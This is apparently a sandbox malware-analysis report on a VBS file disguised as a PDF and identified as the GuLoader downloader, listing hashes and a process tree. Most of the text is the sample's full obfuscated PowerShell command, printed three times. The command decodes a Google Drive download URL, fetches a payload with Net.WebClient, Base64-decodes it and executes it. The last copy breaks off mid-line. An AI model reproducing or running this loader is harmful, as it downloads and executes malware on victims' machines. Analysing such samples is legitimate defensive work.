| File name: | Happy Fiestas Patrias·pdf.vbs |
| Full analysis: | https://app.any.run/tasks/c11c38a4-6b60-4e86-a9c8-5d3047e55d61 |
| Verdict: | Malicious activity |
| Threats: | GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities. |
| Analysis date: | September 25, 2024, 07:15:57 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | A08909DD22F1EF8EEE277B3F178A65BD |
| SHA1: | 30D67F8107A95D9A779AA010268421D3ECDDB611 |
| SHA256: | EED0935D0176FBB012006F4E41DE769A2EF84FCB092F06B62BE7CEB250D895D9 |
| SSDEEP: | 768:hXwI+o49dnoX82Q/YoTprXzNQvD3L8LbEjWI:SI+5LX2NoTdq83EyI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1128 | "C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Happy Fiestas Patrias·pdf.vbs" | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 1432 | "C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Arbejdsform.Met && echo t" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4088 | "C:\WINDOWS\system32\cmd.exe" /c ^"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Hullabaloos Positionsangivelsen Scrab Claustrophobiac Kluntekro Shantungfrakkernes #>;$Ddstilhed='Dagligsprogsfilosofiers';<#Preguide Pone Amforaers udfoerslen Depilerede Conchie #>;$Fermis=$host.PrivateData;If ($Fermis) {$Hydrothorax++;}function Echinologist($Tailles){$kieselgur=$Tailles.Length-$Hydrothorax;for( $Originant=5;$Originant -lt $kieselgur;$Originant+=6){$Konsulaternes+=$Tailles[$Originant];}$Konsulaternes;}function Misrgt($Enjoins){ & ($Funeralizes) ($Enjoins);}$Eventualiteternes44=Echinologist 'Arse,MG nneo O kaz Non iVekselRadrelBegava A ko/Grand5Overa.B ode0Conce Konce(Ugli.WKr keiBugswnSalvodZool,oRekviw rydsOrnam andeN UngoTS.eln Huffa1Daint0wists.Milit0Ammon;Arbej Im reWSkaraiM.ljanMonos6Skrat4Sky t;Slgtn SlutvxBygue6Afbjn4Unc.l; pids Teresr Rillvmesom:Arbej1Ideam2Spejl1Skife.Bysv 0 Skol)Megar ChiliGChondeMeddec WagnkCykeloGifte/Insti2 Over0dygti1 A,tr0Attir0Modga1anste0Hnge.1Mdend ForbeF G rki IndorIndfrecobusf Si,eo Eksax U ug/Tvanm1Tolvt2scene1Heads.Choli0Gains ';$Discide=Echinologist 'Estrau Ur tSFornyEh,aneRDisen-Dea tA.goloGD tekEBuretNIsaleTH.mat ';$Chthonophagia=Echinologist 'UaflahSpanct FicutEveryp Lnn,sMa,ne:Forbj/Giant/ tyrid Forer LovpiBaccav vereStrug.HovedgGenbao AvocoJernhgjern lThe,neteeth.sy,afcImproo prrsmUmora/F,siou BleacUng n?BiplieC stixNglepp Fre oHydrorpileatArbej=BrnepdAbstro nfewS,tinnUnsc l FugtoForm aGyptodAplod&E stei Sq adTuris=Triet1UdstiOG saniBatrawRessoeTelevcI ratMUhens9 Amasi TibeuHjerns FluerUptru-Pent osamlipAnskaJSoli NSpectGArtisS diopUAfske7Pre,au ToguS,letfXCalypsEl,paAChrisjMis nTAssatu OpnagLefle8 M vibPartuQ .ipt ';$Daasemads=Echinologist 'Eig.t>obsku ';$Funeralizes=Echinologist 'D.kediDampbEK.ltuXforre ';$Garderofficers='Dagbder';$Rete = Echinologist ' ResueSvabecMonsthSonicoUnde. Inte%d mflaEfterp Flatp Sku dVenoua Furrt ongtaTroub%Nonfo\MisplAPrintrBankib B greStumfjkonfidGlycosskke fPintao MedfrCadmimKidna.FunarM ntioePe entStake vaa.n&Reven&Shone VigtieUdskrcSolidhOver.oPheno BildetP ogr ';Misrgt (Echinologist ' Sjus$HypocgJudgmlDossio ,egrb RisoaVortelAphod:Aegi,G Elver winsoMiaeovUprodssamueo N herPlet tErklaeM safr Var,ekoldsdKomedeMoppe=Overh(Tandlc OblimAggludChang Ufr h/ Co lcHyl e Tilfl$Ikon RDrifteTr.jet AmbeeRib,f)Forsg ');Misrgt (Echinologist ' Evol$UnpargAgterlHandeoPeytrbRetnia UngdlTre,v:gymnaA B cemUharmoKr,gvvRamulaC.emob ntenlskinneCenog= .tri$DoubtCBolsth Pa et IndbhAbdomo P.ecnClurioD,ylipShotwhTrimlaLatrig BarciMultiaNonin.Cic rsrgbomp Distl Snkei Wyndt Baga(Cater$ FratDAfloea ,rina Spinsstorme PlasmRestaaStilhdKubiksFaste) I tr ');Misrgt (Echinologist ' T,po[SerigNIns reClosetUndem.SkysoSF lkeetild rScar v yhei PoeccUreeleLerv PD uteoXylotiAmy,dnGeorgtHjemtMDuinha Be anBlinyaGeddegFemreeC romrLrer ]Sp ld:Trrev: PremSMidweeToit cPynteuBes.yrSc,ibi raadtSit.ayB.rerP Ult.rFri to IneftSymbioUndtacInhaloCrotclBorge Outt=Utopi Hvsse[BenetNUnoedeMuhamt usti.CadpaS Boeme.ontrcBrgsruLommerTur.ciBe.ent Prefy MatrPFedssrPulvioAdonitfrie o EnthcDinosopilhelc hobTS utnyUnderpPaakle D,sl] Toru:Skild:Bl mmT TeknlExpersBitte1Syste2Gel t ');$Chthonophagia=$Amovable[0];$Otohemineurasthenia239= (Echinologist 'Me ne$gangeGGenkeLBer.doTax,tBpligtaAfsliL Fo,l:Verdet njedAUnslopTh eaiLeukooarr gkSn ggaClinos Krsl=ManasNGruntECha uWD opo-beskyo.jergbWafflJHjhalEGarveC ,alutFll.s RagonSSidehy.edles Ch,vT StraeSquusmphson.,tarrNOsmogeArbejTOverc.KatalwslipcEMa thBByud c Diffl ypeIAfrydeCo.toNForreT');$Otohemineurasthenia239+=$Grovsorterede[1];Misrgt ($Otohemineurasthenia239);Misrgt (Echinologist 'Euroc$SubfiTUdvenaV.lgcpPan ri P choFiskekDopinapla,ssSpndb.BortfH Ra,he LektaDessidD ppeeMan mrBacchs Over[P ntu$BevilD Sed,iPlycys En ycOphobi algdPoplie Duft] Tran=Lysty$VisseE DemovUnfugeDes,rnPer et.lystuFllesaArbejlBeth iP ecot lelse,istetPresueKon ar precn SemieSondrsbinde4Car n4Retsm ');$vulcanising=Echinologist 'I mit$ araTBananaVir dpIm.asi,ntrkoSrstikCartoaUnadas Vejl.St,reDFarrootmme wAdjudnU dgalAlberoIdentaVaeggd T taFKrimiiVap elTopmee Bnde(Afsen$ LandCDiatohPo,ittAn lyhAtaraoAlaban uderoRockapHe.tihMi haa mpieg,trreiB sacaFluor,Cath,$ BrugSFu.unaQuoticFrilucBucklaFrem,tPantoePhantdJugos) Au o ';$Saccated=$Grovsorterede[0];Misrgt (Echinologist 'Sidde$Hueytg,tjdmlChinboPlankBSc reaKalkil Erhv:Hum rDKontriDugrusBlinkCReallOPletfVCal bEAnen rTilba=Vain (stabstForstE Be dsOrbitt E.id-AnalyP CommaRane T AcetHChori Acrot$ AndeS AlzhaOu plC TimecAfstiA AsunTSk tlEAfsttDAfgre)ikend ');while (!$Discover) {Misrgt (Echinologist 'Ba,ta$Un ragOligol albloSnustbsna.sa Strel ,nai:TrichPA,mrgiHabilfVarittrustieKingnnKommidMinise Jon sShi.e=Distr$ orlgtUdk tr,aneruEquipe Pred ') ;Misrgt $vulcanising;Misrgt (Echinologist ' DragSKogeut India Multrcr sst omm-hyoglS fje lBldgrehusfreMolehpVoldg Triv4Un,oo ');Misrgt (Echinologist 'Bogh,$ PerigMarmilAns.oo So abTop oa UnsolTen,a:PegboD IncriPodgisHypo.cSatiso Dub vDhubaeAftenrIndiv= B,bo(harmeT Sli eModkrsForretBrode- HypePcharmaPy alt kolehCla a Woma$WirycSFrbida,andicUngdoc Kr kaMaskitDen re Bir dHydro)Chain ') ;Misrgt (Echinologist 'Topng$Fermeg mo olQuisqoSinnebOrganaCocitl Besi:SdebaGCocu.einattlArthrafr,metAvissi TibinForglo GolfuDra,osQuillnUnytteScrapsStalwsLapse=Fortr$Sexfig ,rlilVaandoMlkeabElen.aMyrerlParfu:UnderkDisksuMyxedm HistmgtefdeCombirUn unfGarmeuPyrotlJallsdColla+Grani+Unend%Lftep$dollyALoek.mDobbeomicrovPrereaBrianbAs,ral joine.sagt.Heltec ,ffro.cameuCloudnTautotBuste ') ;$Chthonophagia=$Amovable[$Gelatinousness];}$Originantnfektionernes=327153;$Analysevrktjets=29478;Misrgt (Echinologist 'Gymna$InhabgSpro lHaandoAugusbLoy laBarbelUnder:Op reB Herma BetrgSlaafa tratom gneHi tolU,full PljeeNot,trUnindnRubi eMinersKenne Trans=P oto cratG DireeIndryt Terr-KilomCTils oS ormnPrebetEmotieReopenSmugltRet p Manxm$rin.lSA suraEclipc Kly,cRbdigaC pittnonscepapirdFradr ');Misrgt (Echinologist 'Vides$ utpog OverlfirhnoBerimbVandla zonel dkon:AmatrP UvoraKonstrFjer tHattyiCroupkBranda BorgmGollymCurtseu,nderCirc.aNonr t Udls Sabur=Grs n carti[VanfrSKilobyAvo,ts Tj,etM diceKrystmJi te.BevvyCSlveroKorpunFlosvvKhalieDis nr Uns,tCh ff]Oeill:Belli: P,rvFR,adgr DermoPseudm ZastB HestaAn oms Mi,ueRee.s6A sem4 erumSUr.ditProv.rLe.chiNdv,gnsplejgSmidi(I,pli$NeophB Mi.taTon ugL apfaStuditAs.erebrazelGeniilHekseeEnsterB ngnnLicheeUnrepsXant )Kam.e ');Misrgt (Echinologist ' Plan$Time gAilanlEkst.oHasarbbad tabrylll Br k: RoosKEileroRockenTritefPrj iuIrretnYamaldnoto e nderrLgtrieTo ngrDefen Cerem= ivej ,arla[CarilSSulfayPedansUnreftTsa,deF,rstmGe re.HundeTHospieSnri x Gropt Lrke.De,atE Fo tnFrforcTaxemoCreepdReseriNonconGonotgLeg t]Styrk: Ut,k:KonjaAbag.oS UdfoCMicroI BereICumul.JagteGTils.eTealetUnfaiS ncomtPyrolrdispeiUnbehnincorgProto( Reh.$O erdP,krigaBoggrr Ge rtWathfiKineskRegaiaGravemCompemRhab,e.reemrMedieaUps.etAm,lg)Reass ');Misrgt (Echinologist 'Tilse$ K,angReflelPjanko Beg bSjus.aUnstrl ddat:SaddlSGraveeKongesVed.iqNordsuLsniniLivsfbAstiga Femes erriLssedc rbor=Bonds$dampnKBevgeoFrasenHourifV.ljeuPebrenUnderdMena eEjendr Fetie St er Yder.Respes Br,gu Sk ubCanaisStrobtAe,oprTang iSammenTurm gFiske(Repul$ MicrOKontorSor.niPrepagP lsaiOrdren Du la Maken,egertDio.gnDuvesfUbemreHygrokPo metdveskiRasp.oResulnTwadde Titrr orgnUnpaselaagesTitan,Stra $CheckA FervnPseudaAtte,l triky DialsNonmaeAntiav,kyllr Br,skBelbstBevikjS olee MaustpreansA ten)Optio ');Misrgt $Sesquibasic;" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4108 | "C:\Program Files (x86)\windows mail\wabmig.exe" | C:\Program Files (x86)\Windows Mail\wabmig.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) Contacts Import Tool Version: 10.0.19041.3636 (WinBuild.160101.0800) | |||||||||||||||
| 5148 | "C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Hullabaloos Positionsangivelsen Scrab Claustrophobiac Kluntekro Shantungfrakkernes #>;$Ddstilhed='Dagligsprogsfilosofiers';<#Preguide Pone Amforaers udfoerslen Depilerede Conchie #>;$Fermis=$host.PrivateData;If ($Fermis) {$Hydrothorax++;}function Echinologist($Tailles){$kieselgur=$Tailles.Length-$Hydrothorax;for( $Originant=5;$Originant -lt $kieselgur;$Originant+=6){$Konsulaternes+=$Tailles[$Originant];}$Konsulaternes;}function Misrgt($Enjoins){ & ($Funeralizes) ($Enjoins);}$Eventualiteternes44=Echinologist 'Arse,MG nneo O kaz Non iVekselRadrelBegava A ko/Grand5Overa.B ode0Conce Konce(Ugli.WKr keiBugswnSalvodZool,oRekviw rydsOrnam andeN UngoTS.eln Huffa1Daint0wists.Milit0Ammon;Arbej Im reWSkaraiM.ljanMonos6Skrat4Sky t;Slgtn SlutvxBygue6Afbjn4Unc.l; pids Teresr Rillvmesom:Arbej1Ideam2Spejl1Skife.Bysv 0 Skol)Megar ChiliGChondeMeddec WagnkCykeloGifte/Insti2 Over0dygti1 A,tr0Attir0Modga1anste0Hnge.1Mdend ForbeF G rki IndorIndfrecobusf Si,eo Eksax U ug/Tvanm1Tolvt2scene1Heads.Choli0Gains ';$Discide=Echinologist 'Estrau Ur tSFornyEh,aneRDisen-Dea tA.goloGD tekEBuretNIsaleTH.mat ';$Chthonophagia=Echinologist 'UaflahSpanct FicutEveryp Lnn,sMa,ne:Forbj/Giant/ tyrid Forer LovpiBaccav vereStrug.HovedgGenbao AvocoJernhgjern lThe,neteeth.sy,afcImproo prrsmUmora/F,siou BleacUng n?BiplieC stixNglepp Fre oHydrorpileatArbej=BrnepdAbstro nfewS,tinnUnsc l FugtoForm aGyptodAplod&E stei Sq adTuris=Triet1UdstiOG saniBatrawRessoeTelevcI ratMUhens9 Amasi TibeuHjerns FluerUptru-Pent osamlipAnskaJSoli NSpectGArtisS diopUAfske7Pre,au ToguS,letfXCalypsEl,paAChrisjMis nTAssatu OpnagLefle8 M vibPartuQ .ipt ';$Daasemads=Echinologist 'Eig.t>obsku ';$Funeralizes=Echinologist 'D.kediDampbEK.ltuXforre ';$Garderofficers='Dagbder';$Rete = Echinologist ' ResueSvabecMonsthSonicoUnde. Inte%d mflaEfterp Flatp Sku dVenoua Furrt ongtaTroub%Nonfo\MisplAPrintrBankib B greStumfjkonfidGlycosskke fPintao MedfrCadmimKidna.FunarM ntioePe entStake vaa.n&Reven&Shone VigtieUdskrcSolidhOver.oPheno BildetP ogr ';Misrgt (Echinologist ' Sjus$HypocgJudgmlDossio ,egrb RisoaVortelAphod:Aegi,G Elver winsoMiaeovUprodssamueo N herPlet tErklaeM safr Var,ekoldsdKomedeMoppe=Overh(Tandlc OblimAggludChang Ufr h/ Co lcHyl e Tilfl$Ikon RDrifteTr.jet AmbeeRib,f)Forsg ');Misrgt (Echinologist ' Evol$UnpargAgterlHandeoPeytrbRetnia UngdlTre,v:gymnaA B cemUharmoKr,gvvRamulaC.emob ntenlskinneCenog= .tri$DoubtCBolsth Pa et IndbhAbdomo P.ecnClurioD,ylipShotwhTrimlaLatrig BarciMultiaNonin.Cic rsrgbomp Distl Snkei Wyndt Baga(Cater$ FratDAfloea ,rina Spinsstorme PlasmRestaaStilhdKubiksFaste) I tr ');Misrgt (Echinologist ' T,po[SerigNIns reClosetUndem.SkysoSF lkeetild rScar v yhei PoeccUreeleLerv PD uteoXylotiAmy,dnGeorgtHjemtMDuinha Be anBlinyaGeddegFemreeC romrLrer ]Sp ld:Trrev: PremSMidweeToit cPynteuBes.yrSc,ibi raadtSit.ayB.rerP Ult.rFri to IneftSymbioUndtacInhaloCrotclBorge Outt=Utopi Hvsse[BenetNUnoedeMuhamt usti.CadpaS Boeme.ontrcBrgsruLommerTur.ciBe.ent Prefy MatrPFedssrPulvioAdonitfrie o EnthcDinosopilhelc hobTS utnyUnderpPaakle D,sl] Toru:Skild:Bl mmT TeknlExpersBitte1Syste2Gel t ');$Chthonophagia=$Amovable[0];$Otohemineurasthenia239= (Echinologist 'Me ne$gangeGGenkeLBer.doTax,tBpligtaAfsliL Fo,l:Verdet njedAUnslopTh eaiLeukooarr gkSn ggaClinos Krsl=ManasNGruntECha uWD opo-beskyo.jergbWafflJHjhalEGarveC ,alutFll.s RagonSSidehy.edles Ch,vT StraeSquusmphson.,tarrNOsmogeArbejTOverc.KatalwslipcEMa thBByud c Diffl ypeIAfrydeCo.toNForreT');$Otohemineurasthenia239+=$Grovsorterede[1];Misrgt ($Otohemineurasthenia239);Misrgt (Echinologist 'Euroc$SubfiTUdvenaV.lgcpPan ri P choFiskekDopinapla,ssSpndb.BortfH Ra,he LektaDessidD ppeeMan mrBacchs Over[P ntu$BevilD Sed,iPlycys En ycOphobi algdPoplie Duft] Tran=Lysty$VisseE DemovUnfugeDes,rnPer et.lystuFllesaArbejlBeth iP ecot lelse,istetPresueKon ar precn SemieSondrsbinde4Car n4Retsm ');$vulcanising=Echinologist 'I mit$ araTBananaVir dpIm.asi,ntrkoSrstikCartoaUnadas Vejl.St,reDFarrootmme wAdjudnU dgalAlberoIdentaVaeggd T taFKrimiiVap elTopmee Bnde(Afsen$ LandCDiatohPo,ittAn lyhAtaraoAlaban uderoRockapHe.tihMi haa mpieg,trreiB sacaFluor,Cath,$ BrugSFu.unaQuoticFrilucBucklaFrem,tPantoePhantdJugos) Au o ';$Saccated=$Grovsorterede[0];Misrgt (Echinologist 'Sidde$Hueytg,tjdmlChinboPlankBSc reaKalkil Erhv:Hum rDKontriDugrusBlinkCReallOPletfVCal bEAnen rTilba=Vain (stabstForstE Be dsOrbitt E.id-AnalyP CommaRane T AcetHChori Acrot$ AndeS AlzhaOu plC TimecAfstiA AsunTSk tlEAfsttDAfgre)ikend ');while (!$Discover) {Misrgt (Echinologist 'Ba,ta$Un ragOligol albloSnustbsna.sa Strel ,nai:TrichPA,mrgiHabilfVarittrustieKingnnKommidMinise Jon sShi.e=Distr$ orlgtUdk tr,aneruEquipe Pred ') ;Misrgt $vulcanising;Misrgt (Echinologist ' DragSKogeut India Multrcr sst omm-hyoglS fje lBldgrehusfreMolehpVoldg Triv4Un,oo ');Misrgt (Echinologist 'Bogh,$ PerigMarmilAns.oo So abTop oa UnsolTen,a:PegboD IncriPodgisHypo.cSatiso Dub vDhubaeAftenrIndiv= B,bo(harmeT Sli eModkrsForretBrode- HypePcharmaPy alt kolehCla a Woma$WirycSFrbida,andicUngdoc Kr kaMaskitDen re Bir dHydro)Chain ') ;Misrgt (Echinologist 'Topng$Fermeg mo olQuisqoSinnebOrganaCocitl Besi:SdebaGCocu.einattlArthrafr,metAvissi TibinForglo GolfuDra,osQuillnUnytteScrapsStalwsLapse=Fortr$Sexfig ,rlilVaandoMlkeabElen.aMyrerlParfu:UnderkDisksuMyxedm HistmgtefdeCombirUn unfGarmeuPyrotlJallsdColla+Grani+Unend%Lftep$dollyALoek.mDobbeomicrovPrereaBrianbAs,ral joine.sagt.Heltec ,ffro.cameuCloudnTautotBuste ') ;$Chthonophagia=$Amovable[$Gelatinousness];}$Originantnfektionernes=327153;$Analysevrktjets=29478;Misrgt (Echinologist 'Gymna$InhabgSpro lHaandoAugusbLoy laBarbelUnder:Op reB Herma BetrgSlaafa tratom gneHi tolU,full PljeeNot,trUnindnRubi eMinersKenne Trans=P oto cratG DireeIndryt Terr-KilomCTils oS ormnPrebetEmotieReopenSmugltRet p Manxm$rin.lSA suraEclipc Kly,cRbdigaC pittnonscepapirdFradr ');Misrgt (Echinologist 'Vides$ utpog OverlfirhnoBerimbVandla zonel dkon:AmatrP UvoraKonstrFjer tHattyiCroupkBranda BorgmGollymCurtseu,nderCirc.aNonr t Udls Sabur=Grs n carti[VanfrSKilobyAvo,ts Tj,etM diceKrystmJi te.BevvyCSlveroKorpunFlosvvKhalieDis nr Uns,tCh ff]Oeill:Belli: P,rvFR,adgr DermoPseudm ZastB HestaAn oms Mi,ueRee.s6A sem4 erumSUr.ditProv.rLe.chiNdv,gnsplejgSmidi(I,pli$NeophB Mi.taTon ugL apfaStuditAs.erebrazelGeniilHekseeEnsterB ngnnLicheeUnrepsXant )Kam.e ');Misrgt (Echinologist ' Plan$Time gAilanlEkst.oHasarbbad tabrylll Br k: RoosKEileroRockenTritefPrj iuIrretnYamaldnoto e nderrLgtrieTo ngrDefen Cerem= ivej ,arla[CarilSSulfayPedansUnreftTsa,deF,rstmGe re.HundeTHospieSnri x Gropt Lrke.De,atE Fo tnFrforcTaxemoCreepdReseriNonconGonotgLeg t]Styrk: Ut,k:KonjaAbag.oS UdfoCMicroI BereICumul.JagteGTils.eTealetUnfaiS ncomtPyrolrdispeiUnbehnincorgProto( Reh.$O erdP,krigaBoggrr Ge rtWathfiKineskRegaiaGravemCompemRhab,e.reemrMedieaUps.etAm,lg)Reass ');Misrgt (Echinologist 'Tilse$ K,angReflelPjanko Beg bSjus.aUnstrl ddat:SaddlSGraveeKongesVed.iqNordsuLsniniLivsfbAstiga Femes erriLssedc rbor=Bonds$dampnKBevgeoFrasenHourifV.ljeuPebrenUnderdMena eEjendr Fetie St er Yder.Respes Br,gu Sk ubCanaisStrobtAe,oprTang iSammenTurm gFiske(Repul$ MicrOKontorSor.niPrepagP lsaiOrdren Du la Maken,egertDio.gnDuvesfUbemreHygrokPo metdveskiRasp.oResulnTwadde Titrr orgnUnpaselaagesTitan,Stra $CheckA FervnPseudaAtte,l triky DialsNonmaeAntiav,kyllr Br,skBelbstBevikjS olee MaustpreansA ten)Optio ');Misrgt $Sesquibasic;" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5996 | "C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Arbejdsform.Met && echo t" | C:\Windows\SysWOW64\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6108 | "C:\Program Files (x86)\windows mail\wabmig.exe" | C:\Program Files (x86)\Windows Mail\wabmig.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) Contacts Import Tool Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) | |||||||||||||||
| 6732 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Hullabaloos Positionsangivelsen Scrab Claustrophobiac Kluntekro Shantungfrakkernes #>;$Ddstilhed='Dagligsprogsfilosofiers';<#Preguide Pone Amforaers udfoerslen Depilerede Conchie #>;$Fermis=$host.PrivateData;If ($Fermis) {$Hydrothorax++;}function Echinologist($Tailles){$kieselgur=$Tailles.Length-$Hydrothorax;for( $Originant=5;$Originant -lt $kieselgur;$Originant+=6){$Konsulaternes+=$Tailles[$Originant];}$Konsulaternes;}function Misrgt($Enjoins){ & ($Funeralizes) ($Enjoins);}$Eventualiteternes44=Echinologist 'Arse,MG nneo O kaz Non iVekselRadrelBegava A ko/Grand5Overa.B ode0Conce Konce(Ugli.WKr keiBugswnSalvodZool,oRekviw rydsOrnam andeN UngoTS.eln Huffa1Daint0wists.Milit0Ammon;Arbej Im reWSkaraiM.ljanMonos6Skrat4Sky t;Slgtn SlutvxBygue6Afbjn4Unc.l; pids Teresr Rillvmesom:Arbej1Ideam2Spejl1Skife.Bysv 0 Skol)Megar ChiliGChondeMeddec WagnkCykeloGifte/Insti2 Over0dygti1 A,tr0Attir0Modga1anste0Hnge.1Mdend ForbeF G rki IndorIndfrecobusf Si,eo Eksax U ug/Tvanm1Tolvt2scene1Heads.Choli0Gains ';$Discide=Echinologist 'Estrau Ur tSFornyEh,aneRDisen-Dea tA.goloGD tekEBuretNIsaleTH.mat ';$Chthonophagia=Echinologist 'UaflahSpanct FicutEveryp Lnn,sMa,ne:Forbj/Giant/ tyrid Forer LovpiBaccav vereStrug.HovedgGenbao AvocoJernhgjern lThe,neteeth.sy,afcImproo prrsmUmora/F,siou BleacUng n?BiplieC stixNglepp Fre oHydrorpileatArbej=BrnepdAbstro nfewS,tinnUnsc l FugtoForm aGyptodAplod&E stei Sq adTuris=Triet1UdstiOG saniBatrawRessoeTelevcI ratMUhens9 Amasi TibeuHjerns FluerUptru-Pent osamlipAnskaJSoli NSpectGArtisS diopUAfske7Pre,au ToguS,letfXCalypsEl,paAChrisjMis nTAssatu OpnagLefle8 M vibPartuQ .ipt ';$Daasemads=Echinologist 'Eig.t>obsku ';$Funeralizes=Echinologist 'D.kediDampbEK.ltuXforre ';$Garderofficers='Dagbder';$Rete = Echinologist ' ResueSvabecMonsthSonicoUnde. Inte%d mflaEfterp Flatp Sku dVenoua Furrt ongtaTroub%Nonfo\MisplAPrintrBankib B greStumfjkonfidGlycosskke fPintao MedfrCadmimKidna.FunarM ntioePe entStake vaa.n&Reven&Shone VigtieUdskrcSolidhOver.oPheno BildetP ogr ';Misrgt (Echinologist ' Sjus$HypocgJudgmlDossio ,egrb RisoaVortelAphod:Aegi,G Elver winsoMiaeovUprodssamueo N herPlet tErklaeM safr Var,ekoldsdKomedeMoppe=Overh(Tandlc OblimAggludChang Ufr h/ Co lcHyl e Tilfl$Ikon RDrifteTr.jet AmbeeRib,f)Forsg ');Misrgt (Echinologist ' Evol$UnpargAgterlHandeoPeytrbRetnia UngdlTre,v:gymnaA B cemUharmoKr,gvvRamulaC.emob ntenlskinneCenog= .tri$DoubtCBolsth Pa et IndbhAbdomo P.ecnClurioD,ylipShotwhTrimlaLatrig BarciMultiaNonin.Cic rsrgbomp Distl Snkei Wyndt Baga(Cater$ FratDAfloea ,rina Spinsstorme PlasmRestaaStilhdKubiksFaste) I tr ');Misrgt (Echinologist ' T,po[SerigNIns reClosetUndem.SkysoSF lkeetild rScar v yhei PoeccUreeleLerv PD uteoXylotiAmy,dnGeorgtHjemtMDuinha Be anBlinyaGeddegFemreeC romrLrer ]Sp ld:Trrev: PremSMidweeToit cPynteuBes.yrSc,ibi raadtSit.ayB.rerP Ult.rFri to IneftSymbioUndtacInhaloCrotclBorge Outt=Utopi Hvsse[BenetNUnoedeMuhamt usti.CadpaS Boeme.ontrcBrgsruLommerTur.ciBe.ent Prefy MatrPFedssrPulvioAdonitfrie o EnthcDinosopilhelc hobTS utnyUnderpPaakle D,sl] Toru:Skild:Bl mmT TeknlExpersBitte1Syste2Gel t ');$Chthonophagia=$Amovable[0];$Otohemineurasthenia239= (Echinologist 'Me ne$gangeGGenkeLBer.doTax,tBpligtaAfsliL Fo,l:Verdet njedAUnslopTh eaiLeukooarr gkSn ggaClinos Krsl=ManasNGruntECha uWD opo-beskyo.jergbWafflJHjhalEGarveC ,alutFll.s RagonSSidehy.edles Ch,vT StraeSquusmphson.,tarrNOsmogeArbejTOverc.KatalwslipcEMa thBByud c Diffl ypeIAfrydeCo.toNForreT');$Otohemineurasthenia239+=$Grovsorterede[1];Misrgt ($Otohemineurasthenia239);Misrgt (Echinologist 'Euroc$SubfiTUdvenaV.lgcpPan ri P choFiskekDopinapla,ssSpndb.BortfH Ra,he LektaDessidD ppeeMan mrBacchs Over[P ntu$BevilD Sed,iPlycys En ycOphobi algdPoplie Duft] Tran=Lysty$VisseE DemovUnfugeDes,rnPer et.lystuFllesaArbejlBeth iP ecot lelse,istetPresueKon ar precn SemieSondrsbinde4Car n4Retsm ');$vulcanising=Echinologist 'I mit$ araTBananaVir dpIm.asi,ntrkoSrstikCartoaUnadas Vejl.St,reDFarrootmme wAdjudnU dgalAlberoIdentaVaeggd T taFKrimiiVap elTopmee Bnde(Afsen$ LandCDiatohPo,ittAn lyhAtaraoAlaban uderoRockapHe.tihMi haa mpieg,trreiB sacaFluor,Cath,$ BrugSFu.unaQuoticFrilucBucklaFrem,tPantoePhantdJugos) Au o ';$Saccated=$Grovsorterede[0];Misrgt (Echinologist 'Sidde$Hueytg,tjdmlChinboPlankBSc reaKalkil Erhv:Hum rDKontriDugrusBlinkCReallOPletfVCal bEAnen rTilba=Vain (stabstForstE Be dsOrbitt E.id-AnalyP CommaRane T AcetHChori Acrot$ AndeS AlzhaOu plC TimecAfstiA AsunTSk tlEAfsttDAfgre)ikend ');while (!$Discover) {Misrgt (Echinologist 'Ba,ta$Un ragOligol albloSnustbsna.sa Strel ,nai:TrichPA,mrgiHabilfVarittrustieKingnnKommidMinise Jon sShi.e=Distr$ orlgtUdk tr,aneruEquipe Pred ') ;Misrgt $vulcanising;Misrgt (Echinologist ' DragSKogeut India Multrcr sst omm-hyoglS fje lBldgrehusfreMolehpVoldg Triv4Un,oo ');Misrgt (Echinologist 'Bogh,$ PerigMarmilAns.oo So abTop oa UnsolTen,a:PegboD IncriPodgisHypo.cSatiso Dub vDhubaeAftenrIndiv= B,bo(harmeT Sli eModkrsForretBrode- HypePcharmaPy alt kolehCla a Woma$WirycSFrbida,andicUngdoc Kr kaMaskitDen re Bir dHydro)Chain ') ;Misrgt (Echinologist 'Topng$Fermeg mo olQuisqoSinnebOrganaCocitl Besi:SdebaGCocu.einattlArthrafr,metAvissi TibinForglo GolfuDra,osQuillnUnytteScrapsStalwsLapse=Fortr$Sexfig ,rlilVaandoMlkeabElen.aMyrerlParfu:UnderkDisksuMyxedm HistmgtefdeCombirUn unfGarmeuPyrotlJallsdColla+Grani+Unend%Lftep$dollyALoek.mDobbeomicrovPrereaBrianbAs,ral joine.sagt.Heltec 